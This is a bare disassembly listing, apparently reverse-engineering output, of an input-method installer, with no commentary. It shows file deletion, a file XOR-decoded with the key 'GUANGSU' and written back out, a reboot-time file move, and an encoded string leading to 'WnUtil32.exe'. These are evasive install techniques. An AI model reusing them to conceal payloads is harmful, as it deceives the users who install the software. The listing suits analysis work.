push ecx
push eax
call fcn.0041b733
cmp dword [ebp + 0x26674], esi
pop ecx
pop ecx
mov ecx, dword [ebp + 0x26660]
jae 0x42e984
lea ecx, [ebp + 0x26660]
cmp dword [ebp + 0x26620], esi
mov eax, dword [ebp + 0x2660c]
jae 0x42e998
lea eax, [ebp + 0x2660c]
push ecx
push eax
push str.__s___s_
call fcn.0041bccd
mov eax, dword [ebp + 0x2660c]
add esp, 0xc
cmp dword [ebp + 0x26620], esi
jae 0x42e9bb
lea eax, [ebp + 0x2660c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x6c]
cmp eax, edi
je 0x42e9ee
cmp dword [eax + 0x18], esi
jb 0x42e9d3
mov eax, dword [eax + 4]
jmp 0x42e9d6
add eax, 4
push 0x4cc600
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42e9ee
mov dword [ebp - 0x30], 1
lea eax, [ebp + 0x2665c]
push eax
lea ecx, [ebp + 0x265d0]
call fcn.004035b0
mov ecx, dword [ebp - 0x34]
lea eax, [ebp + 0x26678]
push eax
mov byte [ebp - 4], 0x3c
call fcn.0042d68d
push 0x4dfbb4
lea ecx, [ebp + 0x26694]
mov byte [ebp - 4], 0x3d
call fcn.004015c0
mov esi, dword [ebp - 0x2c]
push 0xffffffffffffffff
lea eax, [ebp + 0x265d0]
push edi
lea ecx, [ebp + 0x26694]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00401d30
cmp esi, edi
je 0x42ea71
push 0x4cc5fc
lea ecx, [ebp + 0x26694]
call fcn.004036c0
cmp dword [esi + 0x18], 8
jb 0x42ea62
mov esi, dword [esi + 4]
jmp 0x42ea65
add esi, 4
push esi
lea ecx, [ebp + 0x26694]
call fcn.004036c0
cmp dword [ebp + 0x266ac], 8
mov ecx, dword [ebp + 0x26698]
jae 0x42ea86
lea ecx, [ebp + 0x26698]
cmp dword [ebp + 0x26690], 8
mov eax, dword [ebp + 0x2667c]
jae 0x42ea9b
lea eax, [ebp + 0x2667c]
push ecx
push eax
lea eax, [ebp + 0x25f28]
push 0x4c7228
push eax
call fcn.0043c4d1
add esp, 0x10
cmp dword [ebp - 0x30], edi
je 0x42ec1c
push 0x50
call fcn.00431563
pop ecx
mov dword [ebp - 0x2c], eax
cmp eax, edi
mov byte [ebp - 4], 0x3f
je 0x42eade
push str.PushItem
mov ecx, eax
call fcn.0045cfe0
mov dword [ebp - 0x24], eax
jmp 0x42eae1
mov dword [ebp - 0x24], edi
push 0x50
mov byte [ebp - 4], 0x3e
call fcn.00431563
pop ecx
mov dword [ebp - 0x2c], eax
cmp eax, edi
mov byte [ebp - 4], 0x40
je 0x42eb08
push 0x4cc5e0
mov ecx, eax
call fcn.0045cfe0
mov esi, eax
jmp 0x42eb0a
xor esi, esi
push 0x1f3
lea eax, [ebp + 0x262a9]
push edi
push eax
mov byte [ebp - 4], 0x3e
mov byte [ebp + 0x262a8], 0
call fcn.0043b4c0
mov eax, dword [ebp + 0x2667c]
add esp, 0xc
cmp dword [ebp + 0x26690], 8
jae 0x42eb3f
lea eax, [ebp + 0x2667c]
lea ecx, [ebp + 0x262a8]
push ecx
push eax
call fcn.0041af6e
push 0x30
call fcn.00431563
add esp, 0xc
mov dword [ebp - 0x2c], eax
cmp eax, edi
mov byte [ebp - 4], 0x41
je 0x42eb71
lea ecx, [ebp + 0x262a8]
push ecx
mov ecx, eax
call fcn.0042c71b
jmp 0x42eb73
xor eax, eax
push eax
mov ecx, esi
mov byte [ebp - 4], 0x3e
call fcn.0045bd60
mov ecx, dword [ebp - 0x24]
push esi
call fcn.0045bd60
push 0x50
call fcn.00431563
pop ecx
mov dword [ebp - 0x2c], eax
cmp eax, edi
mov byte [ebp - 4], 0x42
je 0x42ebab
push 0x4cc5d0
mov ecx, eax
call fcn.0045cfe0
mov esi, eax
jmp 0x42ebad
xor esi, esi
cmp dword [ebp + 0x266ac], 8
mov eax, dword [ebp + 0x26698]
mov byte [ebp - 4], 0x3e
jae 0x42ebc6
lea eax, [ebp + 0x26698]
lea ecx, [ebp + 0x262a8]
push ecx
push eax
call fcn.0041af6e
push 0x30
call fcn.00431563
add esp, 0xc
mov dword [ebp - 0x2c], eax
cmp eax, edi
mov byte [ebp - 4], 0x43
je 0x42ebf8
lea ecx, [ebp + 0x262a8]
push ecx
mov ecx, eax
call fcn.0042c71b
jmp 0x42ebfa
xor eax, eax
push eax
mov ecx, esi
mov byte [ebp - 4], 0x3e
call fcn.0045bd60
mov ecx, dword [ebp - 0x24]
push esi
call fcn.0045bd60
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
call fcn.0045bd60
jmp 0x42ec29
lea eax, [ebp + 0x25f28]
push eax
call fcn.0041c2bd
pop ecx
push edi
push 1
lea ecx, [ebp + 0x26694]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26678]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x265d0]
mov byte [ebp - 4], 0x38
call fcn.004017c0
jmp 0x42ec6b
lea eax, [ebp + 0x266b0]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.004036c0
mov esi, dword [ebp - 0xac]
cmp esi, edi
je 0x42eca4
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x265b4]
push eax
lea ecx, [ebp + 0x2665c]
call fcn.00401d30
cmp dword [esi + 0x18], 8
jb 0x42ec95
mov esi, dword [esi + 4]
jmp 0x42ec98
add esi, 4
push esi
lea ecx, [ebp + 0x2665c]
call fcn.004036c0
cmp dword [ebp - 0x10], edi
jne 0x42f2ed
push 0x4dfbb4
lea ecx, [ebp + 0x26694]
call fcn.004015c0
mov esi, dword [ebp - 0x70]
cmp esi, edi
mov byte [ebp - 4], 0x44
lea ecx, [ebp + 0x26694]
jne 0x42ecdf
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x2665c]
push eax
call fcn.00403b40
jmp 0x42ed28
push 0x4c7b60
call fcn.004036c0
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x2665c]
push eax
lea ecx, [ebp + 0x26694]
call fcn.00403b40
push 0x4c9098
lea ecx, [ebp + 0x26694]
call fcn.004036c0
cmp dword [esi + 0x18], 8
jb 0x42ed19
mov esi, dword [esi + 4]
jmp 0x42ed1c
add esi, 4
push esi
lea ecx, [ebp + 0x26694]
call fcn.004036c0
mov esi, dword [ebp - 0x6c]
cmp esi, edi
je 0x42f032
mov eax, dword [ebp - 0xa0]
cmp eax, edi
je 0x42ed63
cmp dword [eax + 0x18], 8
jb 0x42ed48
mov eax, dword [eax + 4]
jmp 0x42ed4b
add eax, 4
push 0x4c7454
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42ed63
mov dword [ebp - 0x74], 1
cmp dword [esi + 0x18], 8
jb 0x42ed6e
mov eax, dword [esi + 4]
jmp 0x42ed71
lea eax, [esi + 4]
push 0x4cc600
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42f032
call fcn.0041b9f3
test eax, eax
je 0x42edd7
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x42edd7
cmp dword [esi + 0x18], 8
lea edi, [esi + 4]
jb 0x42eda3
mov eax, dword [edi]
jmp 0x42eda5
mov eax, edi
push str.direct_open
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
je 0x42f030
cmp dword [esi + 0x18], 8
jb 0x42edc2
mov edi, dword [edi]
push str.no_open
push edi
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
je 0x42f2b7
push 0x50
pop edi
push edi
mov dword [ebp - 0x30], 1
call fcn.00431563
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x45
je 0x42ee04
push str.PushItem
mov ecx, eax
call fcn.0045cfe0
mov dword [ebp - 0x10], eax
jmp 0x42ee08
and dword [ebp - 0x10], 0
push edi
mov byte [ebp - 4], 0x44
call fcn.00431563
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x46
je 0x42ee2e
push 0x4cc5e0
mov ecx, eax
call fcn.0045cfe0
mov esi, eax
jmp 0x42ee30
xor esi, esi
push 0x1f3
lea eax, [ebp + 0x262a9]
push 0
push eax
mov byte [ebp - 4], 0x44
mov byte [ebp + 0x262a8], 0
call fcn.0043b4c0
mov eax, dword [ebp + 0x26660]
add esp, 0xc
cmp dword [ebp + 0x26674], 8
jae 0x42ee66
lea eax, [ebp + 0x26660]
lea ecx, [ebp + 0x262a8]
push ecx
push eax
call fcn.0041af6e
push 0x30
pop ebx
push ebx
call fcn.00431563
add esp, 0xc
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x47
je 0x42ee9a
lea ecx, [ebp + 0x262a8]
push ecx
mov ecx, eax
call fcn.0042c71b
jmp 0x42ee9c
xor eax, eax
push eax
mov ecx, esi
mov byte [ebp - 4], 0x44
call fcn.0045bd60
mov ecx, dword [ebp - 0x10]
push esi
call fcn.0045bd60
push edi
call fcn.00431563
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x48
je 0x42eed3
push 0x4cc5d0
mov ecx, eax
call fcn.0045cfe0
mov esi, eax
jmp 0x42eed5
xor esi, esi
mov eax, dword [ebp - 0x70]
test eax, eax
mov byte [ebp - 4], 0x44
je 0x42ef36
cmp dword [eax + 0x18], 8
jb 0x42eeeb
mov eax, dword [eax + 4]
jmp 0x42eeee
add eax, 4
lea ecx, [ebp + 0x262a8]
push ecx
push eax
call fcn.0041af6e
push ebx
call fcn.00431563
add esp, 0xc
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x49
je 0x42ef1f
lea ecx, [ebp + 0x262a8]
push ecx
mov ecx, eax
call fcn.0042c71b
jmp 0x42ef21
xor eax, eax
push eax
mov ecx, esi
mov byte [ebp - 4], 0x44
call fcn.0045bd60
mov ecx, dword [ebp - 0x10]
push esi
call fcn.0045bd60
cmp dword [ebp - 0x14], 0
jne 0x42ef9b
push edi
call fcn.00431563
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x4a
je 0x42ef5e
push str.InstallReBootDel
mov ecx, eax
call fcn.0045cfe0
mov esi, eax
jmp 0x42ef60
xor esi, esi
push ebx
mov byte [ebp - 4], 0x44
call fcn.00431563
pop ecx
mov dword [ebp - 0x28], eax
test eax, eax
mov byte [ebp - 4], 0x4b
je 0x42ef84
push str.true
mov ecx, eax
call fcn.0042c71b
jmp 0x42ef86
xor eax, eax
push eax
mov ecx, esi
mov byte [ebp - 4], 0x44
call fcn.0045bd60
mov ecx, dword [ebp - 0x10]
push esi
call fcn.0045bd60
mov esi, dword [ebp - 0x3c]
test esi, esi
je 0x42f020
push edi
call fcn.00431563
pop ecx
mov dword [ebp - 0x3c], eax
test eax, eax
mov byte [ebp - 4], 0x4c
je 0x42efc4
push 0x4cc584
mov ecx, eax
call fcn.0045cfe0
mov edi, eax
jmp 0x42efc6
xor edi, edi
cmp dword [esi + 0x18], 8
mov byte [ebp - 4], 0x44
jb 0x42efd5
mov eax, dword [esi + 4]
jmp 0x42efd8
lea eax, [esi + 4]
lea ecx, [ebp + 0x262a8]
push ecx
push eax
call fcn.0041af6e
push ebx
call fcn.00431563
add esp, 0xc
mov dword [ebp - 0x3c], eax
test eax, eax
mov byte [ebp - 4], 0x4d
je 0x42f009
lea ecx, [ebp + 0x262a8]
push ecx
mov ecx, eax
call fcn.0042c71b
jmp 0x42f00b
xor eax, eax
push eax
mov ecx, edi
mov byte [ebp - 4], 0x44
call fcn.0045bd60
mov ecx, dword [ebp - 0x10]
push edi
call fcn.0045bd60
push dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
call fcn.0045bd60
jmp 0x42f2b7
xor edi, edi
mov esi, dword [ebp - 0x5c]
cmp esi, edi
je 0x42f279
cmp dword [esi + 0x18], 8
jb 0x42f048
mov eax, dword [esi + 4]
jmp 0x42f04b
lea eax, [esi + 4]
push 0x4cc4b0
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42f13b
lea ecx, [ebp - 0x64]
call fcn.00429e28
push str.InstallConfig1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x4e
call fcn.004015c0
lea ecx, [ebx + 0x18]
mov eax, dword [ecx]
lea edx, [ebp - 0x58]
push edx
mov byte [ebp - 4], 0x4f
call dword [eax + 0x1c]
push edi
push 1
lea ecx, [ebp - 0x58]
mov esi, eax
mov byte [ebp - 4], 0x4e
call fcn.004017c0
cmp dword [esi + 0x18], 8
lea edi, [esi + 4]
jb 0x42f0a7
mov eax, dword [edi]
jmp 0x42f0a9
mov eax, edi
push eax
push str.FID:_s
call fcn.0041bccd
cmp dword [esi + 0x18], 8
pop ecx
pop ecx
jb 0x42f0be
mov edi, dword [edi]
push edi
lea ecx, [ebp - 0x64]
call fcn.0042a48e
push str.FID_end
mov esi, eax
call fcn.0041bccd
test esi, esi
pop ecx
je 0x42f12a
push 0x4c7454
lea ecx, [ebp - 0x94]
call fcn.004015c0
push str.InstallFlag
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x50
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x58]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x51
call dword [eax + 8]
push 0
push 1
lea ecx, [ebp - 0x58]
call fcn.004017c0
push 0
push 1
lea ecx, [ebp - 0x94]
call fcn.004017c0
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x44
call fcn.00429e2e
mov esi, dword [ebp - 0x5c]
xor edi, edi
cmp dword [esi + 0x18], 8
lea eax, [esi + 4]
mov dword [ebp - 0x14], eax
jb 0x42f149
mov eax, dword [eax]
push str.greenbaggame
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42f18d
lea ecx, [ebp - 0x15]
call sym.setup_WanNengWBInput.exe_public:_class_DuiLib::CMarkup____thiscall_DuiLib::CDialogBuilder::GetMarkup_void_
lea eax, [ebx + 0x18]
push eax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x15]
mov byte [ebp - 4], 0x52
call fcn.0042ba22
push edi
push 1
lea ecx, [ebp - 0x58]
call fcn.004017c0
lea ecx, [ebp - 0x15]
mov byte [ebp - 4], 0x44
call sym.setup_WanNengWBInput.exe_void___cdecl_DuiLib::DUI__Trace_wchar_t_const__
cmp dword [esi + 0x18], 8
mov eax, dword [ebp - 0x14]
jb 0x42f198
mov eax, dword [eax]
push 0x4cc4a8
push eax
call fcn.0043c72d
test eax, eax
pop ecx
pop ecx
jne 0x42f2b7
lea ecx, [ebp - 0x60]
call fcn.00429e28
push str.InstallConfig1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x53
call fcn.004015c0
lea ecx, [ebx + 0x18]
mov eax, dword [ecx]
lea edx, [ebp - 0x58]
push edx
mov byte [ebp - 4], 0x54
call dword [eax + 0x1c]
push 0
push 1
lea ecx, [ebp - 0x58]
mov esi, eax
mov byte [ebp - 4], 0x53
call fcn.004017c0
cmp dword [esi + 0x18], 8
lea edi, [esi + 4]
jb 0x42f1f5
mov eax, dword [edi]
jmp 0x42f1f7
mov eax, edi
push eax
push str.lock:_s
call fcn.0041bccd
cmp dword [esi + 0x18], 8
pop ecx
pop ecx
jb 0x42f20c
mov edi, dword [edi]
push edi
lea ecx, [ebp - 0x60]
call fcn.0042a0b1
test eax, eax
je 0x42f26b
push 0x4c7454
lea ecx, [ebp - 0x94]
call fcn.004015c0
push str.InstallFlag
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x55
call fcn.004015c0
mov eax, dword [ebx]
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x58]
push ecx
mov ecx, ebx
mov byte [ebp - 4], 0x56
call dword [eax + 8]
push 0
push 1
lea ecx, [ebp - 0x58]
call fcn.004017c0
push 0
push 1
lea ecx, [ebp - 0x94]
call fcn.004017c0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x44
call fcn.00429e2e
jmp 0x42f2b7
cmp dword [ebp + 0x266ac], 8
mov eax, dword [ebp + 0x26698]
jae 0x42f28e
lea eax, [ebp + 0x26698]
push eax
call fcn.0041c2bd
cmp dword [ebp + 0x266ac], 8
mov eax, dword [ebp + 0x26698]
pop ecx
jae 0x42f2aa
lea eax, [ebp + 0x26698]
push eax
push 0x4c704c
call fcn.0041bccd
pop ecx
pop ecx
xor esi, esi
cmp dword [ebp - 0x68], esi
je 0x42f2dd
cmp dword [ebp + 0x26674], 8
mov eax, dword [ebp + 0x26660]
jae 0x42f2d3
lea eax, [ebp + 0x26660]
push 5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push esi
push 1
lea ecx, [ebp + 0x26694]
call fcn.004017c0
xor edi, edi
push edi
push 1
lea ecx, [ebp + 0x26624]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x2665c]
call fcn.004017c0
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x2e
call fcn.00401430
push edi
push 1
lea ecx, [ebp + 0x26608]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26640]
call fcn.004017c0
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040d9e3
lea ecx, [ebp - 0x9c]
call fcn.0040dc85
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 8]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.0040e350
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040dde7
test al, al
je 0x42da40
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x38]
call fcn.0045bd60
push dword [ebp - 0x38]
lea ecx, [ebp - 0x278]
call fcn.0045bd60
cmp dword [ebp + 0x26578], 0x10
mov eax, dword [ebp + 0x26564]
jae 0x42f3a9
lea eax, [ebp + 0x26564]
push eax
lea ecx, [ebp - 0x278]
call fcn.0045c780
cmp dword [ebp + 0x265b0], 8
mov eax, dword [ebp + 0x2659c]
mov dword [ebp - 0x10], edi
jae 0x42f3cd
lea eax, [ebp + 0x2659c]
push edi
push 0x80
push 4
push edi
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42f3f6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 0x10]
inc esi
push esi
call fcn.0043158e
push esi
push edi
push eax
mov dword [ebp - 0x20], eax
call fcn.0043b4c0
add esp, 0x10
push edi
lea eax, [ebp - 0xb4]
push eax
push esi
push dword [ebp - 0x20]
mov dword [ebp - 0xb4], edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp + 0x264b8]
push eax
lea eax, [ebp + 0x26544]
push eax
call fcn.0041d003
pop ecx
pop ecx
cmp dword [ebp + 0x265b0], 8
mov eax, dword [ebp + 0x2659c]
mov byte [ebp - 4], 0x57
jae 0x42f45c
lea eax, [ebp + 0x2659c]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push eax
call esi
push str.GUANGSU
call fcn.0043b9a0
pop ecx
xor ecx, ecx
xor edx, edx
cmp dword [ebp - 0x10], edi
mov dword [ebp - 0x1c], eax
jle 0x42f497
mov eax, dword [ebp - 0x20]
mov bl, byte [ecx + str.GUANGSU]
add eax, edx
xor byte [eax], bl
inc ecx
cmp ecx, dword [ebp - 0x1c]
jl 0x42f491
xor ecx, ecx
inc edx
cmp edx, dword [ebp - 0x10]
jl 0x42f47c
cmp dword [ebp + 0x2655c], 8
mov eax, dword [ebp + 0x26548]
jae 0x42f4ac
lea eax, [ebp + 0x26548]
push eax
call esi
lea eax, [ebp + 0x264d4]
push eax
lea eax, [ebp + 0x2657c]
push eax
call fcn.0041d003
pop ecx
pop ecx
cmp dword [ebp + 0x26594], 8
mov eax, dword [ebp + 0x26580]
mov byte [ebp - 4], 0x58
jae 0x42f4dd
lea eax, [ebp + 0x26580]
push eax
call fcn.0041cc69
cmp dword [ebp + 0x26594], 8
mov eax, dword [ebp + 0x26580]
pop ecx
jae 0x42f4f9
lea eax, [ebp + 0x26580]
push edi
push 0x80
xor esi, esi
inc esi
push esi
push edi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x42f534
push edi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x1c], edi
push dword [ebp - 0x20]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x30], edi
je 0x42f68d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x4dfbb4
push esi
lea ecx, [ebp + 0x26624]
call fcn.004015c0
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x265b4]
push eax
lea ecx, [ebp + 0x26624]
mov byte [ebp - 4], 0x59
call fcn.00401d30
push str.WnUtil32.exe
lea ecx, [ebp + 0x26624]
call fcn.004036c0
push esi
lea ecx, [ebp + 0x26678]
call fcn.004015c0
mov ebx, 0x4c7b60
push ebx
lea ecx, [ebp + 0x26678]
mov byte [ebp - 4], 0x5a
call fcn.00401790
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp + 0x26678]
call fcn.00403b40
push str.__UnVuSW50ZXJmYWNl
lea ecx, [ebp + 0x26678]
call fcn.004036c0
cmp dword [ebp - 0x74], edi
jne 0x42f5ee
cmp dword [ebp + 0x26690], 8
mov eax, dword [ebp + 0x2667c]
jae 0x42f5e2
lea eax, [ebp + 0x2667c]
push eax
call fcn.0041c2bd
pop ecx
jmp 0x42f66e
push esi
lea ecx, [ebp + 0x26640]
call fcn.004015c0
push ebx
lea ecx, [ebp + 0x26640]
mov byte [ebp - 4], 0x5b
call fcn.00401790
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x2649c]
push eax
lea ecx, [ebp + 0x26640]
call fcn.00403b40
push 0x4c9098
lea ecx, [ebp + 0x26640]
call fcn.004036c0
push 0xffffffffffffffff
push edi
lea eax, [ebp + 0x26624]
push eax
lea ecx, [ebp + 0x26640]
call fcn.00403b40
cmp dword [ebp + 0x26658], 8
mov eax, dword [ebp + 0x26644]
jae 0x42f659
lea eax, [ebp + 0x26644]
push eax
call fcn.0041c2bd
pop ecx
push edi
push 1
lea ecx, [ebp + 0x26640]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26678]
call fcn.004017c0
push edi
push 1
lea ecx, [ebp + 0x26624]
call fcn.004017c0
xor esi, esi
inc esi
push dword [ebp - 0x20]
call fcn.004b79f4
pop ecx
push edi
push esi
lea ecx, [ebp + 0x2657c]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x26544]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x264f0]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x26528]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x2650c]
call fcn.004017c0
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 6
call fcn.0040deff
push edi
push esi
lea ecx, [ebp + 0x264d4]
call fcn.00401740
push edi
push esi
lea ecx, [ebp + 0x264b8]
call fcn.00401740
push edi
push esi
lea ecx, [ebp + 0x26598]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x26560]
call fcn.00401740
push edi
push esi
lea ecx, [ebp + 0x2649c]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x265ec]
call fcn.004017c0
push edi
push esi
lea ecx, [ebp + 0x265b4]
call fcn.004017c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x268b8]
xor ecx, ebp
call fcn.0043b4a5
add ebp, 0x268bc
leave
ret 4